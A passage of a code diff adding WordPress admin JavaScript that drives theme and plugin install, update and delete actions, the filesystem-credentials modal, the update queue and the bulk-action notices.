+			if ( $document.find( 'body' ).hasClass( 'modal-open' ) ) {
+				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
+				$card   = $( '.theme-overlay .theme-info' ).prepend( $message );
+			} else {
+				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
+				$card   = $button.closest( '.theme' ).addClass( 'theme-install-failed' ).append( $message );
+			}
+			wp.customize.notifications.remove( 'theme_installing' );
+		} else {
+			if ( $document.find( 'body' ).hasClass( 'full-overlay-active' ) ) {
+				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
+				$card   = $( '.install-theme-info' ).prepend( $message );
+			} else {
+				$card   = $( '[data-slug="' + response.slug + '"]' ).removeClass( 'focus' ).addClass( 'theme-install-failed' ).append( $message );
+				$button = $card.find( '.theme-install' );
+			}
+		}
+
+		$button
+			.removeClass( 'updating-message' )
+			.attr( 'aria-label', wp.updates.l10n.themeInstallFailedLabel.replace( '%s', $button.data( 'name' ) ) )
+			.text( wp.updates.l10n.installFailedShort );
+
+		wp.a11y.speak( errorMessage, 'assertive' );
+
+		$document.trigger( 'wp-theme-install-error', response );
+	};
+
+	/**
+	 * Sends an Ajax request to the server to delete a theme.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {object}              args
+	 * @param {string}              args.slug    Theme stylesheet.
+	 * @param {deleteThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.deleteThemeSuccess
+	 * @param {deleteThemeError=}   args.error   Optional. Error callback. Default: wp.updates.deleteThemeError
+	 * @return {$.promise} A jQuery promise that represents the request,
+	 *                     decorated with an abort() method.
+	 */
+	wp.updates.deleteTheme = function( args ) {
+		var $button;
+
+		if ( 'themes' === pagenow ) {
+			$button = $( '.theme-actions .delete-theme' );
+		} else if ( 'themes-network' === pagenow ) {
+			$button = $( '[data-slug="' + args.slug + '"]' ).find( '.row-actions a.delete' );
+		}
+
+		args = _.extend( {
+			success: wp.updates.deleteThemeSuccess,
+			error: wp.updates.deleteThemeError
+		}, args );
+
+		if ( $button && $button.html() !== wp.updates.l10n.deleting ) {
+			$button
+				.data( 'originaltext', $button.html() )
+				.text( wp.updates.l10n.deleting );
+		}
+
+		wp.a11y.speak( wp.updates.l10n.deleting, 'polite' );
+
+		// Remove previous error messages, if any.
+		$( '.theme-info .update-message' ).remove();
+
+		$document.trigger( 'wp-theme-deleting', args );
+
+		return wp.updates.ajax( 'delete-theme', args );
+	};
+
+	/**
+	 * Updates the UI appropriately after a successful theme deletion.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} deleteThemeSuccess
+	 * @param {object} response      Response from the server.
+	 * @param {string} response.slug Slug of the theme that was deleted.
+	 */
+	wp.updates.deleteThemeSuccess = function( response ) {
+		var $themeRows = $( '[data-slug="' + response.slug + '"]' );
+
+		if ( 'themes-network' === pagenow ) {
+
+			// Removes the theme and updates rows.
+			$themeRows.css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() {
+				var $views     = $( '.subsubsub' ),
+					$themeRow  = $( this ),
+					totals     = settings.themes,
+					deletedRow = wp.template( 'item-deleted-row' );
+
+				if ( ! $themeRow.hasClass( 'plugin-update-tr' ) ) {
+					$themeRow.after(
+						deletedRow( {
+							slug:    response.slug,
+							colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
+							name:    $themeRow.find( '.theme-title strong' ).text()
+						} )
+					);
+				}
+
+				$themeRow.remove();
+
+				// Remove theme from update count.
+				if ( $themeRow.hasClass( 'update' ) ) {
+					totals.upgrade--;
+					wp.updates.decrementCount( 'theme' );
+				}
+
+				// Remove from views.
+				if ( $themeRow.hasClass( 'inactive' ) ) {
+					totals.disabled--;
+					if ( totals.disabled ) {
+						$views.find( '.disabled .count' ).text( '(' + totals.disabled + ')' );
+					} else {
+						$views.find( '.disabled' ).remove();
+					}
+				}
+
+				// There is always at least one theme available.
+				$views.find( '.all .count' ).text( '(' + --totals.all + ')' );
+			} );
+		}
+
+		wp.a11y.speak( wp.updates.l10n.themeDeleted, 'polite' );
+
+		$document.trigger( 'wp-theme-delete-success', response );
+	};
+
+	/**
+	 * Updates the UI appropriately after a failed theme deletion.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} deleteThemeError
+	 * @param {object} response              Response from the server.
+	 * @param {string} response.slug         Slug of the theme to be deleted.
+	 * @param {string} response.errorCode    Error code for the error that occurred.
+	 * @param {string} response.errorMessage The error that occurred.
+	 */
+	wp.updates.deleteThemeError = function( response ) {
+		var $themeRow    = $( 'tr.inactive[data-slug="' + response.slug + '"]' ),
+			$button      = $( '.theme-actions .delete-theme' ),
+			updateRow    = wp.template( 'item-update-row' ),
+			$updateRow   = $themeRow.siblings( '#' + response.slug + '-update' ),
+			errorMessage = wp.updates.l10n.deleteFailed.replace( '%s', response.errorMessage ),
+			$message     = wp.updates.adminNotice( {
+				className: 'update-message notice-error notice-alt',
+				message:   errorMessage
+			} );
+
+		if ( wp.updates.maybeHandleCredentialError( response, 'delete-theme' ) ) {
+			return;
+		}
+
+		if ( 'themes-network' === pagenow ) {
+			if ( ! $updateRow.length ) {
+				$themeRow.addClass( 'update' ).after(
+					updateRow( {
+						slug: response.slug,
+						colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
+						content: $message
+					} )
+				);
+			} else {
+				// Remove previous error messages, if any.
+				$updateRow.find( '.notice-error' ).remove();
+				$updateRow.find( '.plugin-update' ).append( $message );
+			}
+		} else {
+			$( '.theme-info .theme-description' ).before( $message );
+		}
+
+		$button.html( $button.data( 'originaltext' ) );
+
+		wp.a11y.speak( errorMessage, 'assertive' );
+
+		$document.trigger( 'wp-theme-delete-error', response );
+	};
+
+	/**
+	 * Adds the appropriate callback based on the type of action and the current page.
+	 *
+	 * @since 4.6.0
+	 * @private
+	 *
+	 * @param {object} data   AJAX payload.
+	 * @param {string} action The type of request to perform.
+	 * @return {object} The AJAX payload with the appropriate callbacks.
+	 */
+	wp.updates._addCallbacks = function( data, action ) {
+		if ( 'import' === pagenow && 'install-plugin' === action ) {
+			data.success = wp.updates.installImporterSuccess;
+			data.error   = wp.updates.installImporterError;
+		}
+
+		return data;
+	};
+
+	/**
+	 * Pulls available jobs from the queue and runs them.
+	 *
+	 * @since 4.2.0
+	 * @since 4.6.0 Can handle multiple job types.
+	 */
+	wp.updates.queueChecker = function() {
+		var job;
+
+		if ( wp.updates.ajaxLocked || ! wp.updates.queue.length ) {
+			return;
+		}
+
+		job = wp.updates.queue.shift();
+
+		// Handle a queue job.
+		switch ( job.action ) {
+			case 'install-plugin':
+				wp.updates.installPlugin( job.data );
+				break;
+
+			case 'update-plugin':
+				wp.updates.updatePlugin( job.data );
+				break;
+
+			case 'delete-plugin':
+				wp.updates.deletePlugin( job.data );
+				break;
+
+			case 'install-theme':
+				wp.updates.installTheme( job.data );
+				break;
+
+			case 'update-theme':
+				wp.updates.updateTheme( job.data );
+				break;
+
+			case 'delete-theme':
+				wp.updates.deleteTheme( job.data );
+				break;
+
+			default:
+				break;
+		}
+	};
+
+	/**
+	 * Requests the users filesystem credentials if they aren't already known.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {Event=} event Optional. Event interface.
+	 */
+	wp.updates.requestFilesystemCredentials = function( event ) {
+		if ( false === wp.updates.filesystemCredentials.available ) {
+			/*
+			 * After exiting the credentials request modal,
+			 * return the focus to the element triggering the request.
+			 */
+			if ( event && ! wp.updates.$elToReturnFocusToFromCredentialsModal ) {
+				wp.updates.$elToReturnFocusToFromCredentialsModal = $( event.target );
+			}
+
+			wp.updates.ajaxLocked = true;
+			wp.updates.requestForCredentialsModalOpen();
+		}
+	};
+
+	/**
+	 * Requests the users filesystem credentials if needed and there is no lock.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {Event=} event Optional. Event interface.
+	 */
+	wp.updates.maybeRequestFilesystemCredentials = function( event ) {
+		if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
+			wp.updates.requestFilesystemCredentials( event );
+		}
+	};
+
+	/**
+	 * Keydown handler for the request for credentials modal.
+	 *
+	 * Closes the modal when the escape key is pressed and
+	 * constrains keyboard navigation to inside the modal.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {Event} event Event interface.
+	 */
+	wp.updates.keydown = function( event ) {
+		if ( 27 === event.keyCode ) {
+			wp.updates.requestForCredentialsModalCancel();
+		} else if ( 9 === event.keyCode ) {
+
+			// #upgrade button must always be the last focus-able element in the dialog.
+			if ( 'upgrade' === event.target.id && ! event.shiftKey ) {
+				$( '#hostname' ).focus();
+
+				event.preventDefault();
+			} else if ( 'hostname' === event.target.id && event.shiftKey ) {
+				$( '#upgrade' ).focus();
+
+				event.preventDefault();
+			}
+		}
+	};
+
+	/**
+	 * Opens the request for credentials modal.
+	 *
+	 * @since 4.2.0
+	 */
+	wp.updates.requestForCredentialsModalOpen = function() {
+		var $modal = $( '#request-filesystem-credentials-dialog' );
+
+		$( 'body' ).addClass( 'modal-open' );
+		$modal.show();
+		$modal.find( 'input:enabled:first' ).focus();
+		$modal.on( 'keydown', wp.updates.keydown );
+	};
+
+	/**
+	 * Closes the request for credentials modal.
+	 *
+	 * @since 4.2.0
+	 */
+	wp.updates.requestForCredentialsModalClose = function() {
+		$( '#request-filesystem-credentials-dialog' ).hide();
+		$( 'body' ).removeClass( 'modal-open' );
+
+		if ( wp.updates.$elToReturnFocusToFromCredentialsModal ) {
+			wp.updates.$elToReturnFocusToFromCredentialsModal.focus();
+		}
+	};
+
+	/**
+	 * Takes care of the steps that need to happen when the modal is canceled out.
+	 *
+	 * @since 4.2.0
+	 * @since 4.6.0 Triggers an event for callbacks to listen to and add their actions.
+	 */
+	wp.updates.requestForCredentialsModalCancel = function() {
+
+		// Not ajaxLocked and no queue means we already have cleared things up.
+		if ( ! wp.updates.ajaxLocked && ! wp.updates.queue.length ) {
+			return;
+		}
+
+		_.each( wp.updates.queue, function( job ) {
+			$document.trigger( 'credential-modal-cancel', job );
+		} );
+
+		// Remove the lock, and clear the queue.
+		wp.updates.ajaxLocked = false;
+		wp.updates.queue = [];
+
+		wp.updates.requestForCredentialsModalClose();
+	};
+
+	/**
+	 * Displays an error message in the request for credentials form.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {string} message Error message.
+	 */
+	wp.updates.showErrorInCredentialsForm = function( message ) {
+		var $filesystemForm = $( '#request-filesystem-credentials-form' );
+
+		// Remove any existing error.
+		$filesystemForm.find( '.notice' ).remove();
+		$filesystemForm.find( '#request-filesystem-credentials-title' ).after( '<div class="notice notice-alt notice-error"><p>' + message + '</p></div>' );
+	};
+
+	/**
+	 * Handles credential errors and runs events that need to happen in that case.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {object} response Ajax response.
+	 * @param {string} action   The type of request to perform.
+	 */
+	wp.updates.credentialError = function( response, action ) {
+
+		// Restore callbacks.
+		response = wp.updates._addCallbacks( response, action );
+
+		wp.updates.queue.unshift( {
+			action: action,
+
+			/*
+			 * Not cool that we're depending on response for this data.
+			 * This would feel more whole in a view all tied together.
+			 */
+			data: response
+		} );
+
+		wp.updates.filesystemCredentials.available = false;
+		wp.updates.showErrorInCredentialsForm( response.errorMessage );
+		wp.updates.requestFilesystemCredentials();
+	};
+
+	/**
+	 * Handles credentials errors if it could not connect to the filesystem.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} maybeHandleCredentialError
+	 * @param {object} response              Response from the server.
+	 * @param {string} response.errorCode    Error code for the error that occurred.
+	 * @param {string} response.errorMessage The error that occurred.
+	 * @param {string} action                The type of request to perform.
+	 * @returns {boolean} Whether there is an error that needs to be handled or not.
+	 */
+	wp.updates.maybeHandleCredentialError = function( response, action ) {
+		if ( wp.updates.shouldRequestFilesystemCredentials && response.errorCode && 'unable_to_connect_to_filesystem' === response.errorCode ) {
+			wp.updates.credentialError( response, action );
+			return true;
+		}
+
+		return false;
+	};
+
+	/**
+	 * Validates an AJAX response to ensure it's a proper object.
+	 *
+	 * If the response deems to be invalid, an admin notice is being displayed.
+	 *
+	 * @param {(object|string)} response              Response from the server.
+	 * @param {function=}       response.always       Optional. Callback for when the Deferred is resolved or rejected.
+	 * @param {string=}         response.statusText   Optional. Status message corresponding to the status code.
+	 * @param {string=}         response.responseText Optional. Request response as text.
+	 * @param {string}          action                Type of action the response is referring to. Can be 'delete',
+	 *                                                'update' or 'install'.
+	 */
+	wp.updates.isValidResponse = function( response, action ) {
+		var error = wp.updates.l10n.unknownError,
+		    errorMessage;
+
+		// Make sure the response is a valid data object and not a Promise object.
+		if ( _.isObject( response ) && ! _.isFunction( response.always ) ) {
+			return true;
+		}
+
+		if ( _.isString( response ) && '-1' === response ) {
+			error = wp.updates.l10n.nonceError;
+		} else if ( _.isString( response ) ) {
+			error = response;
+		} else if ( 'undefined' !== typeof response.readyState && 0 === response.readyState ) {
+			error = wp.updates.l10n.connectionError;
+		} else if ( _.isString( response.responseText ) && '' !== response.responseText ) {
+			error = response.responseText;
+		} else if ( _.isString( response.statusText ) ) {
+			error = response.statusText;
+		}
+
+		switch ( action ) {
+			case 'update':
+				errorMessage = wp.updates.l10n.updateFailed;
+				break;
+
+			case 'install':
+				errorMessage = wp.updates.l10n.installFailed;
+				break;
+
+			case 'delete':
+				errorMessage = wp.updates.l10n.deleteFailed;
+				break;
+		}
+
+		// Messages are escaped, remove HTML tags to make them more readable.
+		error = error.replace( /<[\/a-z][^<>]*>/gi, '' );
+		errorMessage = errorMessage.replace( '%s', error );
+
+		// Add admin notice.
+		wp.updates.addAdminNotice( {
+			id:        'unknown_error',
+			className: 'notice-error is-dismissible',
+			message:   _.escape( errorMessage )
+		} );
+
+		// Remove the lock, and clear the queue.
+		wp.updates.ajaxLocked = false;
+		wp.updates.queue      = [];
+
+		// Change buttons of all running updates.
+		$( '.button.updating-message' )
+			.removeClass( 'updating-message' )
+			.removeAttr( 'aria-label' )
+			.prop( 'disabled', true )
+			.text( wp.updates.l10n.updateFailedShort );
+
+		$( '.updating-message:not(.button):not(.thickbox)' )
+			.removeClass( 'updating-message notice-warning' )
+			.addClass( 'notice-error' )
+			.find( 'p' )
+				.removeAttr( 'aria-label' )
+				.text( errorMessage );
+
+		wp.a11y.speak( errorMessage, 'assertive' );
+
+		return false;
+	};
+
+	/**
+	 * Potentially adds an AYS to a user attempting to leave the page.
+	 *
+	 * If an update is on-going and a user attempts to leave the page,
+	 * opens an "Are you sure?" alert.
+	 *
+	 * @since 4.2.0
+	 */
+	wp.updates.beforeunload = function() {
+		if ( wp.updates.ajaxLocked ) {
+			return wp.updates.l10n.beforeunload;
+		}
+	};
+
+	$( function() {
+		var $pluginFilter        = $( '#plugin-filter' ),
+			$bulkActionForm      = $( '#bulk-action-form' ),
+			$filesystemForm      = $( '#request-filesystem-credentials-form' ),
+			$filesystemModal     = $( '#request-filesystem-credentials-dialog' ),
+			$pluginSearch        = $( '.plugins-php .wp-filter-search' ),
+			$pluginInstallSearch = $( '.plugin-install-php .wp-filter-search' );
+
+		settings = _.extend( settings, window._wpUpdatesItemCounts || {} );
+
+		if ( settings.totals ) {
+			wp.updates.refreshCount();
+		}
+
+		/*
+		 * Whether a user needs to submit filesystem credentials.
+		 *
+		 * This is based on whether the form was output on the page server-side.
+		 *
+		 * @see {wp_print_request_filesystem_credentials_modal() in PHP}
+		 */
+		wp.updates.shouldRequestFilesystemCredentials = $filesystemModal.length > 0;
+
+		/**
+		 * File system credentials form submit noop-er / handler.
+		 *
+		 * @since 4.2.0
+		 */
+		$filesystemModal.on( 'submit', 'form', function( event ) {
+			event.preventDefault();
+
+			// Persist the credentials input by the user for the duration of the page load.
+			wp.updates.filesystemCredentials.ftp.hostname       = $( '#hostname' ).val();
+			wp.updates.filesystemCredentials.ftp.username       = $( '#username' ).val();
+			wp.updates.filesystemCredentials.ftp.password       = $( '#password' ).val();
+			wp.updates.filesystemCredentials.ftp.connectionType = $( 'input[name="connection_type"]:checked' ).val();
+			wp.updates.filesystemCredentials.ssh.publicKey      = $( '#public_key' ).val();
+			wp.updates.filesystemCredentials.ssh.privateKey     = $( '#private_key' ).val();
+			wp.updates.filesystemCredentials.fsNonce            = $( '#_fs_nonce' ).val();
+			wp.updates.filesystemCredentials.available          = true;
+
+			// Unlock and invoke the queue.
+			wp.updates.ajaxLocked = false;
+			wp.updates.queueChecker();
+
+			wp.updates.requestForCredentialsModalClose();
+		} );
+
+		/**
+		 * Closes the request credentials modal when clicking the 'Cancel' button or outside of the modal.
+		 *
+		 * @since 4.2.0
+		 */
+		$filesystemModal.on( 'click', '[data-js-action="close"], .notification-dialog-background', wp.updates.requestForCredentialsModalCancel );
+
+		/**
+		 * Hide SSH fields when not selected.
+		 *
+		 * @since 4.2.0
+		 */
+		$filesystemForm.on( 'change', 'input[name="connection_type"]', function() {
+			$( '#ssh-keys' ).toggleClass( 'hidden', ( 'ssh' !== $( this ).val() ) );
+		} ).change();
+
+		/**
+		 * Handles events after the credential modal was closed.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param {Event}  event Event interface.
+		 * @param {string} job   The install/update.delete request.
+		 */
+		$document.on( 'credential-modal-cancel', function( event, job ) {
+			var $updatingMessage = $( '.updating-message' ),
+				$message, originalText;
+
+			if ( 'import' === pagenow ) {
+				$updatingMessage.removeClass( 'updating-message' );
+			} else if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
+				if ( 'update-plugin' === job.action ) {
+					$message = $( 'tr[data-plugin="' + job.data.plugin + '"]' ).find( '.update-message' );
+				} else if ( 'delete-plugin' === job.action ) {
+					$message = $( '[data-plugin="' + job.data.plugin + '"]' ).find( '.row-actions a.delete' );
+				}
+			} else if ( 'themes' === pagenow || 'themes-network' === pagenow ) {
+				if ( 'update-theme' === job.action ) {
+					$message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.update-message' );
+				} else if ( 'delete-theme' === job.action && 'themes-network' === pagenow ) {
+					$message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.row-actions a.delete' );
+				} else if ( 'delete-theme' === job.action && 'themes' === pagenow ) {
+					$message = $( '.theme-actions .delete-theme' );
+				}
+			} else {
+				$message = $updatingMessage;
+			}
+
+			if ( $message && $message.hasClass( 'updating-message' ) ) {
+				originalText = $message.data( 'originaltext' );
+
+				if ( 'undefined' === typeof originalText ) {
+					originalText = $( '<p>' ).html( $message.find( 'p' ).data( 'originaltext' ) );
+				}
+
+				$message
+					.removeClass( 'updating-message' )
+					.html( originalText );
+
+				if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
+					if ( 'update-plugin' === job.action ) {
+						$message.attr( 'aria-label', wp.updates.l10n.pluginUpdateNowLabel.replace( '%s', $message.data( 'name' ) ) );
+					} else if ( 'install-plugin' === job.action ) {
+						$message.attr( 'aria-label', wp.updates.l10n.pluginInstallNowLabel.replace( '%s', $message.data( 'name' ) ) );
+					}
+				}
+			}
+
+			wp.a11y.speak( wp.updates.l10n.updateCancel, 'polite' );
+		} );
+
+		/**
+		 * Click handler for plugin updates in List Table view.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$bulkActionForm.on( 'click', '[data-plugin] .update-link', function( event ) {
+			var $message   = $( event.target ),
+				$pluginRow = $message.parents( 'tr' );
+
+			event.preventDefault();
+
+			if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) {
+				return;
+			}
+
+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			// Return the user to the input box of the plugin's table row after closing the modal.
+			wp.updates.$elToReturnFocusToFromCredentialsModal = $pluginRow.find( '.check-column input' );
+			wp.updates.updatePlugin( {
+				plugin: $pluginRow.data( 'plugin' ),
+				slug:   $pluginRow.data( 'slug' )
+			} );
+		} );
+
+		/**
+		 * Click handler for plugin updates in plugin install view.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$pluginFilter.on( 'click', '.update-now', function( event ) {
+			var $button = $( event.target );
+			event.preventDefault();
+
+			if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) {
+				return;
+			}
+
+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			wp.updates.updatePlugin( {
+				plugin: $button.data( 'plugin' ),
+				slug:   $button.data( 'slug' )
+			} );
+		} );
+
+		/**
+		 * Click handler for plugin installs in plugin install view.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$pluginFilter.on( 'click', '.install-now', function( event ) {
+			var $button = $( event.target );
+			event.preventDefault();
+
+			if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) {
+				return;
+			}
+
+			if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
+				wp.updates.requestFilesystemCredentials( event );
+
+				$document.on( 'credential-modal-cancel', function() {
+					var $message = $( '.install-now.updating-message' );
+
+					$message
+						.removeClass( 'updating-message' )
+						.text( wp.updates.l10n.installNow );
+
+					wp.a11y.speak( wp.updates.l10n.updateCancel, 'polite' );
+				} );
+			}
+
+			wp.updates.installPlugin( {
+				slug: $button.data( 'slug' )
+			} );
+		} );
+
+		/**
+		 * Click handler for importer plugins installs in the Import screen.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$document.on( 'click', '.importer-item .install-now', function( event ) {
+			var $button = $( event.target ),
+				pluginName = $( this ).data( 'name' );
+
+			event.preventDefault();
+
+			if ( $button.hasClass( 'updating-message' ) ) {
+				return;
+			}
+
+			if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
+				wp.updates.requestFilesystemCredentials( event );
+
+				$document.on( 'credential-modal-cancel', function() {
+
+					$button
+						.removeClass( 'updating-message' )
+						.text( wp.updates.l10n.installNow )
+						.attr( 'aria-label', wp.updates.l10n.installNowLabel.replace( '%s', pluginName ) );
+
+					wp.a11y.speak( wp.updates.l10n.updateCancel, 'polite' );
+				} );
+			}
+
+			wp.updates.installPlugin( {
+				slug:    $button.data( 'slug' ),
+				pagenow: pagenow,
+				success: wp.updates.installImporterSuccess,
+				error:   wp.updates.installImporterError
+			} );
+		} );
+
+		/**
+		 * Click handler for plugin deletions.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$bulkActionForm.on( 'click', '[data-plugin] a.delete', function( event ) {
+			var $pluginRow = $( event.target ).parents( 'tr' );
+
+			event.preventDefault();
+
+			if ( ! window.confirm( wp.updates.l10n.aysDeleteUninstall.replace( '%s', $pluginRow.find( '.plugin-title strong' ).text() ) ) ) {
+				return;
+			}
+
+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			wp.updates.deletePlugin( {
+				plugin: $pluginRow.data( 'plugin' ),
+				slug:   $pluginRow.data( 'slug' )
+			} );
+
+		} );
+
+		/**
+		 * Click handler for theme updates.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$document.on( 'click', '.themes-php.network-admin .update-link', function( event ) {
+			var $message  = $( event.target ),
+				$themeRow = $message.parents( 'tr' );
+
+			event.preventDefault();
+
+			if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) {
+				return;
+			}
+
+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			// Return the user to the input box of the theme's table row after closing the modal.
+			wp.updates.$elToReturnFocusToFromCredentialsModal = $themeRow.find( '.check-column input' );
+			wp.updates.updateTheme( {
+				slug: $themeRow.data( 'slug' )
+			} );
+		} );
+
+		/**
+		 * Click handler for theme deletions.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$document.on( 'click', '.themes-php.network-admin a.delete', function( event ) {
+			var $themeRow = $( event.target ).parents( 'tr' );
+
+			event.preventDefault();
+
+			if ( ! window.confirm( wp.updates.l10n.aysDelete.replace( '%s', $themeRow.find( '.theme-title strong' ).text() ) ) ) {
+				return;
+			}
+
+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			wp.updates.deleteTheme( {
+				slug: $themeRow.data( 'slug' )
+			} );
+		} );
+
+		/**
+		 * Bulk action handler for plugins and themes.
+		 *
+		 * Handles both deletions and updates.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$bulkActionForm.on( 'click', '[type="submit"]:not([name="clear-recent-list"])', function( event ) {
+			var bulkAction    = $( event.target ).siblings( 'select' ).val(),
+				itemsSelected = $bulkActionForm.find( 'input[name="checked[]"]:checked' ),
+				success       = 0,
+				error         = 0,
+				errorMessages = [],
+				type, action;
+
+			// Determine which type of item we're dealing with.
+			switch ( pagenow ) {
+				case 'plugins':
+				case 'plugins-network':
+					type = 'plugin';
+					break;
+
+				case 'themes-network':
+					type = 'theme';
+					break;
+
+				default:
+					return;
+			}
+
+			// Bail if there were no items selected.
+			if ( ! itemsSelected.length ) {
+				event.preventDefault();
+				$( 'html, body' ).animate( { scrollTop: 0 } );
+
+				return wp.updates.addAdminNotice( {
+					id:        'no-items-selected',
+					className: 'notice-error is-dismissible',
+					message:   wp.updates.l10n.noItemsSelected
+				} );
+			}
+
+			// Determine the type of request we're dealing with.
+			switch ( bulkAction ) {
+				case 'update-selected':
+					action = bulkAction.replace( 'selected', type );
+					break;
+
+				case 'delete-selected':
+					if ( ! window.confirm( 'plugin' === type ? wp.updates.l10n.aysBulkDelete : wp.updates.l10n.aysBulkDeleteThemes ) ) {
+						event.preventDefault();
+						return;
+					}
+
+					action = bulkAction.replace( 'selected', type );
+					break;
+
+				default:
+					return;
+			}
+
+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			event.preventDefault();
+
+			// Un-check the bulk checkboxes.
+			$bulkActionForm.find( '.manage-column [type="checkbox"]' ).prop( 'checked', false );
+
+			$document.trigger( 'wp-' + type + '-bulk-' + bulkAction, itemsSelected );
+
+			// Find all the checkboxes which have been checked.
+			itemsSelected.each( function( index, element ) {
+				var $checkbox = $( element ),
+					$itemRow = $checkbox.parents( 'tr' );
+
+				// Only add update-able items to the update queue.
+				if ( 'update-selected' === bulkAction && ( ! $itemRow.hasClass( 'update' ) || $itemRow.find( 'notice-error' ).length ) ) {
+
+					// Un-check the box.
+					$checkbox.prop( 'checked', false );
+					return;
+				}
+
+				// Add it to the queue.
+				wp.updates.queue.push( {
+					action: action,
+					data:   {
+						plugin: $itemRow.data( 'plugin' ),
+						slug:   $itemRow.data( 'slug' )
+					}
+				} );
+			} );
+
+			// Display bulk notification for updates of any kind.
+			$document.on( 'wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error', function( event, response ) {
+				var $itemRow = $( '[data-slug="' + response.slug + '"]' ),
+					$bulkActionNotice, itemName;
+
+				if ( 'wp-' + response.update + '-update-success' === event.type ) {
+					success++;
+				} else {
+					itemName = response.pluginName ? response.pluginName : $itemRow.find( '.column-primary strong' ).text();
+
+					error++;
+					errorMessages.push( itemName + ': ' + response.errorMessage );
+				}
+
+				$itemRow.find( 'input[name="checked[]"]:checked' ).prop( 'checked', false );
+
+				wp.updates.adminNotice = wp.template( 'wp-bulk-updates-admin-notice' );
+
+				wp.updates.addAdminNotice( {
+					id:            'bulk-action-notice',
+					className:     'bulk-action-notice',
+					successes:     success,
+					errors:        error,
+					errorMessages: errorMessages,
+					type:          response.update
+				} );
+
+				$bulkActionNotice = $( '#bulk-action-notice' ).on( 'click', 'button', function() {
+					// $( this ) is the clicked button, no need to get it again.
+					$( this )
+						.toggleClass( 'bulk-action-errors-collapsed' )
+						.attr( 'aria-expanded', ! $( this ).hasClass( 'bulk-action-errors-collapsed' ) );
+					// Show the errors list.
+					$bulkActionNotice.find( '.bulk-action-errors' ).toggleClass( 'hidden' );
+				} );
+
+				if ( error > 0 && ! wp.updates.queue.length ) {
+					$( 'html, body' ).animate( { scrollTop: 0 } );
+				}
+			} );
+
+			// Reset admin notice template after #bulk-action-notice was added.
+			$document.on( 'wp-updates-notice-added', function() {
+				wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' );
+			} );
+
+			// Check the queue, now that the event handlers have been added.
+			wp.updates.queueChecker();
+		} );
+
+		if ( $pluginInstallSearch.length ) {
+			$pluginInstallSearch.attr( 'aria-describedby', 'live-search-desc' );
+		}
+
+		/**
+		 * Handles changes to the plugin search box on the new-plugin page,
+		 * searching the repository dynamically.
+		 *
+		 * @since 4.6.0
+		 */
+		$pluginInstallSearch.on( 'keyup input', _.debounce( function( event, eventtype ) {
+			var $searchTab = $( '.plugin-install-search' ), data, searchLocation;
+
+			data = {
+				_ajax_nonce: wp.updates.ajaxNonce,
+				s:           event.target.value,
+				tab:         'search',
+				type:        $( '#typeselector' ).val(),
+				pagenow:     pagenow
+			};
+			searchLocation = location.href.split( '?' )[ 0 ] + '?' + $.param( _.omit( data, [ '_ajax_nonce', 'pagenow' ] ) );
+
+			// Clear on escape.
+			if ( 'keyup' === event.type && 27 === event.which ) {
+				event.target.value = '';
+			}
+
+			if ( wp.updates.searchTerm === data.s && 'typechange' !== eventtype ) {
+				return;
+			} else {
+				$pluginFilter.empty();
+				wp.updates.searchTerm = data.s;
+			}
+
+			if ( window.history && window.history.replaceState ) {
+				window.history.replaceState( null, '', searchLocation );
+			}
+
+			if ( ! $searchTab.length ) {
+				$searchTab = $( '<li class="plugin-install-search" />' )
+					.append( $( '<a />', {
+						'class': 'current',
+						'href': searchLocation,
+						'text': wp.updates.l10n.searchResultsLabel
+					} ) );
+
+				$( '.wp-filter .filter-links .current' )
+					.removeClass( 'current' )
+					.parents( '.filter-links' )
+					.prepend( $searchTab );
+
+				$pluginFilter.prev( 'p' ).remove();
